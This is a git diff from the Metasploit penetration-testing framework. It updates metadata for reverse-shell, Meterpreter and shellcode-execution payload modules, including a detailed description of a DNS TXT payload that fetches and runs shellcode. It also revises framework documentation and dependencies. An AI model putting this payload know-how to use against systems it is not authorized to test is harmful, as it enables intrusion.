@@ -238393,7 +241033,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/shell_find_tag.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell_find_tag",
@@ -238430,7 +241070,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell_reverse_tcp",
@@ -238466,7 +241106,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-09-22 12:55:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/shell_reverse_tcp_ipv6.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell_reverse_tcp_ipv6",
@@ -242837,47 +245477,6 @@
"stage_refname": "windows/custom",
"stager_refname": "windows/findtag_ord"
},
- "payload_windows/custom/reverse_hop_http": {
- "name": "Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager",
- "fullname": "payload/windows/custom/reverse_hop_http",
- "aliases": [
-
- ],
- "rank": 300,
- "disclosure_date": null,
- "type": "payload",
- "author": [
- "bwatters-r7",
- "scriptjunkie ",
- "bannedit ",
- "hdm "
- ],
- "description": "Custom shellcode stage.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.",
- "references": [
-
- ],
- "platform": "Windows",
- "arch": "x86",
- "rport": null,
- "autofilter_ports": null,
- "autofilter_services": null,
- "targets": null,
- "mod_time": "2024-01-07 14:06:31 +0000",
- "path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
- "is_install_path": true,
- "ref_name": "windows/custom/reverse_hop_http",
- "check": false,
- "post_auth": false,
- "default_credential": false,
- "notes": {
- },
- "session_types": false,
- "needs_cleanup": false,
- "payload_type": 2,
- "staged": true,
- "stage_refname": "windows/custom",
- "stager_refname": "windows/reverse_hop_http"
- },
"payload_windows/custom/reverse_http": {
"name": "Windows shellcode stage, Windows Reverse HTTP Stager (wininet)",
"fullname": "payload/windows/custom/reverse_http",
@@ -242995,47 +245594,6 @@
"stage_refname": "windows/custom",
"stager_refname": "windows/reverse_https"
},
- "payload_windows/custom/reverse_https_proxy": {
- "name": "Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy",
- "fullname": "payload/windows/custom/reverse_https_proxy",
- "aliases": [
-
- ],
- "rank": 300,
- "disclosure_date": null,
- "type": "payload",
- "author": [
- "bwatters-r7",
- "hdm ",
- "corelanc0d3r ",
- "amaloteaux "
- ],
- "description": "Custom shellcode stage.\n\nTunnel communication over HTTP using SSL with custom proxy support",
- "references": [
-
- ],
- "platform": "Windows",
- "arch": "x86",
- "rport": null,
- "autofilter_ports": null,
- "autofilter_services": null,
- "targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/stagers/windows/reverse_https_proxy.rb",
- "is_install_path": true,
- "ref_name": "windows/custom/reverse_https_proxy",
- "check": false,
- "post_auth": false,
- "default_credential": false,
- "notes": {
- },
- "session_types": false,
- "needs_cleanup": false,
- "payload_type": 2,
- "staged": true,
- "stage_refname": "windows/custom",
- "stager_refname": "windows/reverse_https_proxy"
- },
"payload_windows/custom/reverse_ipv6_tcp": {
"name": "Windows shellcode stage, Reverse TCP Stager (IPv6)",
"fullname": "payload/windows/custom/reverse_ipv6_tcp",
@@ -243977,48 +246535,6 @@
"stage_refname": "windows/dllinject",
"stager_refname": "windows/findtag_ord"
},
- "payload_windows/dllinject/reverse_hop_http": {
- "name": "Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager",
- "fullname": "payload/windows/dllinject/reverse_hop_http",
- "aliases": [
-
- ],
- "rank": 300,
- "disclosure_date": null,
- "type": "payload",
- "author": [
- "sf ",
- "scriptjunkie ",
- "bannedit ",
- "hdm "
- ],
- "description": "Inject a DLL via a reflective loader.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.",
- "references": [
- "URL-https://github.com/stephenfewer/ReflectiveDLLInjection",
- "URL-https://github.com/rapid7/ReflectiveDLLInjection"
- ],
- "platform": "Windows",
- "arch": "x86",
- "rport": null,
- "autofilter_ports": null,
- "autofilter_services": null,
- "targets": null,
- "mod_time": "2024-01-07 14:06:31 +0000",
- "path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
- "is_install_path": true,
- "ref_name": "windows/dllinject/reverse_hop_http",
- "check": false,
- "post_auth": false,
- "default_credential": false,
- "notes": {
- },
- "session_types": false,
- "needs_cleanup": false,
- "payload_type": 2,
- "staged": true,
- "stage_refname": "windows/dllinject",
- "stager_refname": "windows/reverse_hop_http"
- },
"payload_windows/dllinject/reverse_http": {
"name": "Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)",
"fullname": "payload/windows/dllinject/reverse_http",
@@ -244524,7 +247040,7 @@
"author": [
"corelanc0d3r "
],
- "description": "Performs a TXT query against a series of DNS record(s) and executes the returned payload",
+ "description": "Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE\n option is used as the base name to iterate over. The payload will first request the TXT contents of the a\n hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly\n 255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using\n x86/alpha_mixed with the BufferRegister option set to EDI.",
"references": [
],
@@ -244534,7 +247050,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2024-01-07 14:06:31 +0000",
+ "mod_time": "2024-12-06 14:26:44 +0000",
"path": "/modules/payloads/singles/windows/dns_txt_query_exec.rb",
"is_install_path": true,
"ref_name": "windows/dns_txt_query_exec",
@@ -244570,7 +247086,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2024-01-07 14:06:31 +0000",
+ "mod_time": "2024-11-26 11:49:56 +0000",
"path": "/modules/payloads/singles/windows/download_exec.rb",
"is_install_path": true,
"ref_name": "windows/download_exec",
@@ -244722,7 +247238,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2024-11-28 06:39:07 +0000",
"path": "/modules/payloads/singles/windows/messagebox.rb",
"is_install_path": true,
"ref_name": "windows/messagebox",
@@ -245161,50 +247677,6 @@
"stage_refname": "windows/meterpreter",
"stager_refname": "windows/findtag_ord"
},
- "payload_windows/meterpreter/reverse_hop_http": {
- "name": "Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager",
- "fullname": "payload/windows/meterpreter/reverse_hop_http",
- "aliases": [
-
- ],
- "rank": 300,
- "disclosure_date": null,
- "type": "payload",
- "author": [
- "skape ",
- "sf ",
- "OJ Reeves",
- "scriptjunkie ",
- "bannedit ",
- "hdm "
- ],
- "description": "Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.",
- "references": [
- "URL-https://github.com/stephenfewer/ReflectiveDLLInjection",
- "URL-https://github.com/rapid7/ReflectiveDLLInjection"
- ],
- "platform": "Windows",
- "arch": "x86",
- "rport": null,
- "autofilter_ports": null,
- "autofilter_services": null,
- "targets": null,
- "mod_time": "2024-01-07 14:06:31 +0000",
- "path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
- "is_install_path": true,
- "ref_name": "windows/meterpreter/reverse_hop_http",
- "check": false,
- "post_auth": false,
- "default_credential": false,
- "notes": {
- },
- "session_types": false,
- "needs_cleanup": false,
- "payload_type": 2,
- "staged": true,
- "stage_refname": "windows/meterpreter",
- "stager_refname": "windows/reverse_hop_http"
- },
"payload_windows/meterpreter/reverse_http": {
"name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)",
"fullname": "payload/windows/meterpreter/reverse_http",
@@ -245331,50 +247803,6 @@
"stage_refname": "windows/meterpreter",
"stager_refname": "windows/reverse_https"
},
- "payload_windows/meterpreter/reverse_https_proxy": {
- "name": "Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy",
- "fullname": "payload/windows/meterpreter/reverse_https_proxy",
- "aliases": [
-
- ],
- "rank": 300,
- "disclosure_date": null,
- "type": "payload",
- "author": [
- "skape ",
- "sf ",
- "OJ Reeves",
- "hdm ",
- "corelanc0d3r ",
- "amaloteaux "
- ],
- "description": "Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer.\n\nTunnel communication over HTTP using SSL with custom proxy support",
- "references": [
- "URL-https://github.com/stephenfewer/ReflectiveDLLInjection",
- "URL-https://github.com/rapid7/ReflectiveDLLInjection"
- ],
- "platform": "Windows",
- "arch": "x86",
- "rport": null,
- "autofilter_ports": null,
- "autofilter_services": null,
- "targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/stagers/windows/reverse_https_proxy.rb",
- "is_install_path": true,
- "ref_name": "windows/meterpreter/reverse_https_proxy",
- "check": false,
- "post_auth": false,
- "default_credential": false,
- "notes": {
- },
- "session_types": false,
- "needs_cleanup": false,
- "payload_type": 2,
- "staged": true,
- "stage_refname": "windows/meterpreter",
- "stager_refname": "windows/reverse_https_proxy"
- },
"payload_windows/meterpreter/reverse_ipv6_tcp": {
"name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)",
"fullname": "payload/windows/meterpreter/reverse_ipv6_tcp",
@@ -251002,48 +253430,6 @@
"stage_refname": "windows/vncinject",
"stager_refname": "windows/findtag_ord"
},
- "payload_windows/vncinject/reverse_hop_http": {
- "name": "VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager",
- "fullname": "payload/windows/vncinject/reverse_hop_http",
- "aliases": [
-
- ],
- "rank": 300,
- "disclosure_date": null,
- "type": "payload",
- "author": [
- "sf ",
- "scriptjunkie ",
- "bannedit ",
- "hdm "
- ],
- "description": "Inject a VNC Dll via a reflective loader (staged).\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.",
- "references": [
- "URL-https://github.com/stephenfewer/ReflectiveDLLInjection",
- "URL-https://github.com/rapid7/ReflectiveDLLInjection"
- ],
- "platform": "Windows",
- "arch": "x86",
- "rport": null,
- "autofilter_ports": null,
- "autofilter_services": null,
- "targets": null,
- "mod_time": "2024-01-07 14:06:31 +0000",
- "path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
- "is_install_path": true,
- "ref_name": "windows/vncinject/reverse_hop_http",
- "check": false,
- "post_auth": false,
- "default_credential": false,
- "notes": {
- },
- "session_types": false,
- "needs_cleanup": false,
- "payload_type": 2,
- "staged": true,
- "stage_refname": "windows/vncinject",
- "stager_refname": "windows/reverse_hop_http"
- },
"payload_windows/vncinject/reverse_http": {
"name": "VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)",
"fullname": "payload/windows/vncinject/reverse_http",
@@ -251801,7 +254187,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2024-12-16 12:48:57 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_http",
@@ -251842,7 +254228,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2024-12-16 12:48:57 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/x64/custom/reverse_https",
@@ -252269,7 +254655,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2023-08-03 17:10:11 +0000",
+ "mod_time": "2024-11-27 08:15:57 +0000",
"path": "/modules/payloads/singles/windows/x64/messagebox.rb",
"is_install_path": true,
"ref_name": "windows/x64/messagebox",
@@ -252559,7 +254945,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2024-12-16 12:48:57 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter/reverse_http",
@@ -252603,7 +254989,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2024-12-16 12:48:57 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter/reverse_https",
@@ -254345,7 +256731,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2024-12-16 12:48:57 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/x64/vncinject/reverse_http",
@@ -254387,7 +256773,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2024-12-16 12:48:57 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/x64/vncinject/reverse_https",
@@ -260922,7 +263308,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2024-01-15 14:56:46 +0000",
+ "mod_time": "2024-12-16 17:51:38 +0000",
"path": "/modules/post/multi/recon/local_exploit_suggester.rb",
"is_install_path": true,
"ref_name": "multi/recon/local_exploit_suggester",
diff --git a/docs/Gemfile b/docs/Gemfile
index 1905012e292b..8e5bee45ad28 100644
--- a/docs/Gemfile
+++ b/docs/Gemfile
@@ -6,6 +6,7 @@ gem 'just-the-docs', github: 'rapid7/just-the-docs', branch: 'r7_ver_custom'
#gem 'just-the-docs', path: '../../just-the-docs'
gem 'webrick'
gem 'rexml'
+gem 'jekyll-sass-converter', '~> 2.2.0'
group :jekyll_plugins do
gem 'jekyll-sitemap'
diff --git a/docs/Gemfile.lock b/docs/Gemfile.lock
index 0d3d607c691f..125c702c17ac 100644
--- a/docs/Gemfile.lock
+++ b/docs/Gemfile.lock
@@ -12,22 +12,22 @@ GIT
GEM
remote: https://rubygems.org/
specs:
- addressable (2.8.1)
- public_suffix (>= 2.0.2, < 6.0)
+ addressable (2.8.7)
+ public_suffix (>= 2.0.2, < 7.0)
byebug (11.1.3)
coderay (1.1.3)
colorator (1.1.0)
- concurrent-ruby (1.1.10)
+ concurrent-ruby (1.3.4)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
eventmachine (1.2.7)
- ffi (1.15.5)
+ ffi (1.17.0)
forwardable-extended (2.6.0)
http_parser.rb (0.8.0)
- i18n (1.12.0)
+ i18n (1.14.6)
concurrent-ruby (~> 1.0)
- jekyll (4.3.1)
+ jekyll (4.3.4)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
@@ -53,46 +53,45 @@ GEM
jekyll (>= 3.7, < 5.0)
jekyll-watch (2.2.1)
listen (~> 3.0)
- kramdown (2.4.0)
- rexml
+ kramdown (2.5.1)
+ rexml (>= 3.3.9)
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
- liquid (4.0.3)
- listen (3.7.1)
+ liquid (4.0.4)
+ listen (3.9.0)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.4.0)
- method_source (1.0.0)
+ method_source (1.1.0)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
- pry (0.14.1)
+ pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
- public_suffix (5.0.1)
- rake (13.0.6)
+ public_suffix (6.0.1)
+ rake (13.2.1)
rb-fsevent (0.11.2)
- rb-inotify (0.10.1)
+ rb-inotify (0.11.1)
ffi (~> 1.0)
- rexml (3.3.6)
- strscan
- rouge (4.0.0)
+ rexml (3.4.0)
+ rouge (4.5.1)
safe_yaml (1.0.5)
sassc (2.4.0)
ffi (~> 1.9)
- strscan (3.1.0)
terminal-table (3.0.2)
unicode-display_width (>= 1.1.1, < 3)
- unicode-display_width (2.3.0)
- webrick (1.7.0)
+ unicode-display_width (2.6.0)
+ webrick (1.9.1)
PLATFORMS
ruby
DEPENDENCIES
jekyll (~> 4.3.0)
+ jekyll-sass-converter (~> 2.2.0)
jekyll-sitemap
just-the-docs!
pry-byebug
@@ -103,4 +102,4 @@ DEPENDENCIES
webrick
BUNDLED WITH
- 2.2.22
+ 2.5.10
diff --git a/docs/metasploit-framework.wiki/Common-Metasploit-Module-Coding-Mistakes.md b/docs/metasploit-framework.wiki/Common-Metasploit-Module-Coding-Mistakes.md
index 8c9a3c926d36..30fb7a3b8c03 100644
--- a/docs/metasploit-framework.wiki/Common-Metasploit-Module-Coding-Mistakes.md
+++ b/docs/metasploit-framework.wiki/Common-Metasploit-Module-Coding-Mistakes.md
@@ -146,7 +146,7 @@ register_options(
], self.class)
```
-**8. Neglecting to use send_request_cgi()'s vars_get or vars_get when crafting a POST/GET request**
+**8. Neglecting to use send_request_cgi()'s vars_post or vars_get when crafting a POST/GET request**
```ruby
data_post = 'user=jsmith&pass=hello123'
@@ -199,4 +199,4 @@ Metasploit3.new
```ruby
# https://github.com/rapid7/metasploit-framework/issues/3853
datastore['BAD'] = 'This is bad.'
-```
\ No newline at end of file
+```
diff --git a/docs/metasploit-framework.wiki/Definition-of-Module-Reliability-Side-Effects-and-Stability.md b/docs/metasploit-framework.wiki/Definition-of-Module-Reliability-Side-Effects-and-Stability.md
index af7a1bb81482..2c9782b713fb 100644
--- a/docs/metasploit-framework.wiki/Definition-of-Module-Reliability-Side-Effects-and-Stability.md
+++ b/docs/metasploit-framework.wiki/Definition-of-Module-Reliability-Side-Effects-and-Stability.md
@@ -59,6 +59,7 @@ Example:
| CONFIG_CHANGES | Module modifies some config file |
| IOC_IN_LOGS | Module leaves an indicator of compromise in the log(s) |
| ACCOUNT_LOCKOUTS | Module may cause an account to lock out |
+| ACCOUNT_LOGOUT | Module may cause an existing valid session to be forced to log out (likely due to restrictions on concurrent sessions)|
| SCREEN_EFFECTS | Module shows something on the screen that a human may notice |
| PHYSICAL_EFFECTS | Module may produce physical effects in hardware (Examples: light, sound, or heat) |
| AUDIO_EFFECTS | Module may cause a noise (Examples: Audio output from the speakers or hardware beeps) |
diff --git a/docs/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md b/docs/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md
index 042b9857b90a..efca90e912de 100644
--- a/docs/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md
+++ b/docs/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md
@@ -112,6 +112,11 @@ end
* **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
* **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
+### Non-required fields
+
+* **Stance** - The types of stances an exploit can take, such as passive or aggressive. Stances indicate whether or not the module triggers the exploit without waiting for one or more conditions to be met (aggressive) or whether it must wait for certain conditions to be satisfied before the exploit can be initiated (passive). Passive exploits usually would wait for interaction from a client or other entity for being able to trigger the vulnerability.
+
+* **Passive** - Either `true` or `false` indicates whether or not the exploit should be run as a background job. If for example you know the vulnerability takes an hour to trigger, setting `Passive` to `true` would be beneficial as it allows the user to continue using msfconsole while waiting for a response from the exploit.
Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible.
diff --git a/docs/metasploit-framework.wiki/How-to-Configure-DNS.md b/docs/metasploit-framework.wiki/How-to-Configure-DNS.md
index 09b22c06aea9..6778db353e3c 100644
--- a/docs/metasploit-framework.wiki/How-to-Configure-DNS.md
+++ b/docs/metasploit-framework.wiki/How-to-Configure-DNS.md
@@ -18,7 +18,7 @@ Metasploit's DNS configuration is controlled by the `dns` command which has mult
The current configuration can be printed by running `dns print`:
-```msf6
+```msf
msf6 > dns print
Default search domain: N/A
Default search list: lab.lan
diff --git a/docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md b/docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md
index 292b2d4c34fa..879e6aed5881 100644
--- a/docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md
+++ b/docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md
@@ -23,34 +23,27 @@ msf5 auxiliary(scanner/oracle/oracle_hashdump) > run
The general steps to getting Oracle support working are to install the Oracle Instant Client and development libraries, install the required dependencies for Kali Linux, then install the gem.
## Install the Oracle Instant Client
-As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html) packages for your version of Kali Linux. The packages you will need are:
+As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](https://www.oracle.com/database/technologies/instant-client/downloads.html) packages for your version of Kali Linux. The packages you will need are:
-* instantclient-basic-linux-12.2.0.1.0.zip
-* instantclient-sqlplus-linux-12.2.0.1.0.zip
-* instantclient-sdk-linux-12.2.0.1.0.zip
+* [instantclient-basic-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-basic-linux.x64-23.6.0.24.10.zip)
+* [instantclient-sqlplus-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-sqlplus-linux.x64-23.6.0.24.10.zip)
+* [instantclient-sdk-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-sdk-linux.x64-23.6.0.24.10.zip)
-Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_12_2/`. Next symlink the shared library that we need to access the library from oracle:
-
-```
-root@kali:/opt/oracle/instantclient_12_2# ln libclntsh.so.12.1 libclntsh.so
-
-root@kali:/opt/oracle/instantclient_12_2# ls -lh libclntsh.so
-lrwxrwxrwx 1 root root 17 Jun 1 15:41 libclntsh.so -> libclntsh.so.12.1
-```
+Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_23_6/`.
You also need to configure the appropriate environment variables, perhaps by inserting them into your .bashrc file, logging out and back in for them to apply.
```
-export PATH=$PATH:/opt/oracle/instantclient_12_2
-export SQLPATH=/opt/oracle/instantclient_12_2
-export TNS_ADMIN=/opt/oracle/instantclient_12_2
-export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_2
-export ORACLE_HOME=/opt/oracle/instantclient_12_2
+export PATH=$PATH:/opt/oracle/instantclient_23_6
+export SQLPATH=/opt/oracle/instantclient_23_6
+export TNS_ADMIN=/opt/oracle/instantclient_23_6
+export LD_LIBRARY_PATH=/opt/oracle/instantclient_23_6
+export ORACLE_HOME=/opt/oracle/instantclient_23_6
```
If you have succeeded, you should be able to run `sqlplus` from a command prompt:
```
-root@kali:/opt/oracle/instantclient_12_2# sqlplus
+root@kali:/opt/oracle/instantclient_23_6# sqlplus
SQL*Plus: Release 12.2.0.1.0 Production on Tue Mar 26 20:40:24 2019
@@ -64,40 +57,40 @@ Enter user-name:
First, download and extract the gem source release:
```
-root@kali:~# wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.7.zip
---2019-03-26 20:31:11-- https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.7.zip
+root@kali:~# wget https://github.com/kubo/ruby-oci8/archive/refs/tags/ruby-oci8-2.2.14.zip
+--2019-03-26 20:31:11-- https://github.com/kubo/ruby-oci8/archive/refs/tags/ruby-oci8-2.2.14.zip
Resolving github.com (github.com)... 192.30.253.113, 192.30.253.112
Connecting to github.com (github.com)|192.30.253.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
-Location: https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.7 [following]
---2019-03-26 20:31:11-- https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.7
+Location: https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.14 [following]
+--2019-03-26 20:31:11-- https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.14
Resolving codeload.github.com (codeload.github.com)... 192.30.253.120, 192.30.253.121
Connecting to codeload.github.com (codeload.github.com)|192.30.253.120|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/zip]
-Saving to: 'ruby-oci8-2.2.7.zip'
+Saving to: 'ruby-oci8-2.2.14.zip'
-ruby-oci8-2.2.7.zip [ <=> ] 376.97K 2.36MB/s in 0.2s
+ruby-oci8-2.2.14.zip [ <=> ] 376.97K 2.36MB/s in 0.2s
-2019-03-26 20:31:11 (2.36 MB/s) - 'ruby-oci8-2.2.7.zip' saved [386016]
+2019-03-26 20:31:11 (2.36 MB/s) - 'ruby-oci8-2.2.14.zip' saved [386016]
-root@kali:~# unzip ruby-oci8-2.2.7.zip
-Archive: ruby-oci8-2.2.7.zip
+root@kali:~# unzip ruby-oci8-2.2.14.zip
+Archive: ruby-oci8-2.2.14.zip
0c85bf6da2f541de3236267b1a1b18f0136a8f5a
- creating: ruby-oci8-ruby-oci8-2.2.7/
- inflating: ruby-oci8-ruby-oci8-2.2.7/.gitignore
- inflating: ruby-oci8-ruby-oci8-2.2.7/.travis.yml
+ creating: ruby-oci8-ruby-oci8-2.2.14/
+ inflating: ruby-oci8-ruby-oci8-2.2.14/.gitignore
+ inflating: ruby-oci8-ruby-oci8-2.2.14/.travis.yml
[...]
- inflating: ruby-oci8-ruby-oci8-2.2.7/test/test_rowid.rb
-root@kali:~# cd ruby-oci8-ruby-oci8-2.2.7/
+ inflating: ruby-oci8-ruby-oci8-2.2.14/test/test_rowid.rb
+root@kali:~# cd ruby-oci8-ruby-oci8-2.2.14/
```
Install libgmp (needed to build the gem) and set the path to prefer the correct version of ruby so that Metasploit can use it.
```
-root@kali:~/ruby-oci8-ruby-oci8-2.2.7# export PATH=/opt/metasploit/ruby/bin:$PATH
+root@kali:~/ruby-oci8-ruby-oci8-2.2.14# export PATH=/opt/metasploit/ruby/bin:$PATH
-root@kali:~/ruby-oci8-ruby-oci8-2.2.7# apt-get install libgmp-dev
+root@kali:~/ruby-oci8-ruby-oci8-2.2.14# apt-get install libgmp-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
@@ -117,7 +110,7 @@ Setting up libgmp-dev:amd64 (2:5.0.5+dfsg-2) ...
Build and install the gem
```
-root@kali:~/ruby-oci8-ruby-oci8-2.2.7# make
+root@kali:~/ruby-oci8-ruby-oci8-2.2.14# make
ruby -w setup.rb config
setup.rb:280: warning: assigned but unused variable - vname
setup.rb:280: warning: assigned but unused variable - desc
@@ -130,12 +123,12 @@ setup.rb:280: warning: assigned but unused variable - default2
<--- lib
---> ext
---> ext/oci8
-/opt/metasploit/ruby/bin/ruby /root/ruby-oci8-ruby-oci8-2.2.7/ext/oci8/extconf.rb
+/opt/metasploit/ruby/bin/ruby /root/ruby-oci8-ruby-oci8-2.2.14/ext/oci8/extconf.rb
checking for load library path...
LD_LIBRARY_PATH...
checking /opt/metasploit/ruby/lib... no
- checking /opt/oracle/instantclient_12_2... yes
- /opt/oracle/instantclient_12_2/libclntsh.so.12.1 looks like an instant client.
+ checking /opt/oracle/instantclient_23_6... yes
+ /opt/oracle/instantclient_23_6/libclntsh.so.12.1 looks like an instant client.
checking for cc... ok
checking for gcc... yes
checking for LP64... yes
@@ -144,11 +137,11 @@ checking for ruby header... ok
checking for OCIInitialize() in oci.h... yes
[...]
linking shared-object oci8lib_250.so
-make[1]: Leaving directory `/root/ruby-oci8-ruby-oci8-2.2.7/ext/oci8'
+make[1]: Leaving directory `/root/ruby-oci8-ruby-oci8-2.2.14/ext/oci8'
<--- ext/oci8
<--- ext
-root@kali:~/ruby-oci8-ruby-oci8-2.2.7# make install
+root@kali:~/ruby-oci8-ruby-oci8-2.2.14# make install
ruby -w setup.rb install
setup.rb:280: warning: assigned but unused variable - vname
setup.rb:280: warning: assigned but unused variable - desc
@@ -158,5 +151,5 @@ mkdir -p /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/
install oci8.rb /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/
[...]
<--- ext
-root@kali:~/ruby-oci8-ruby-oci8-2.2.7#
+root@kali:~/ruby-oci8-ruby-oci8-2.2.14#
```
diff --git a/docs/metasploit-framework.wiki/How-to-use-datastore-options.md b/docs/metasploit-framework.wiki/How-to-use-datastore-options.md
index e76a70d52c75..618b301ae84b 100644
--- a/docs/metasploit-framework.wiki/How-to-use-datastore-options.md
+++ b/docs/metasploit-framework.wiki/How-to-use-datastore-options.md
@@ -86,8 +86,7 @@ OptSomething.new(option_name, [boolean, description, value, *enums*], aliases: *
options](#Filtering-datastore-options) section for more information.
* **fallbacks** *optional*, *key-word only* An array of names that will be used as a fallback if the main option name is
defined by the user. This is useful in the scenario of wanting specialised option names such as `SMBUser`, but to also
- support gracefully checking a list of more generic fallbacks option names such as `Username`. This functionality is
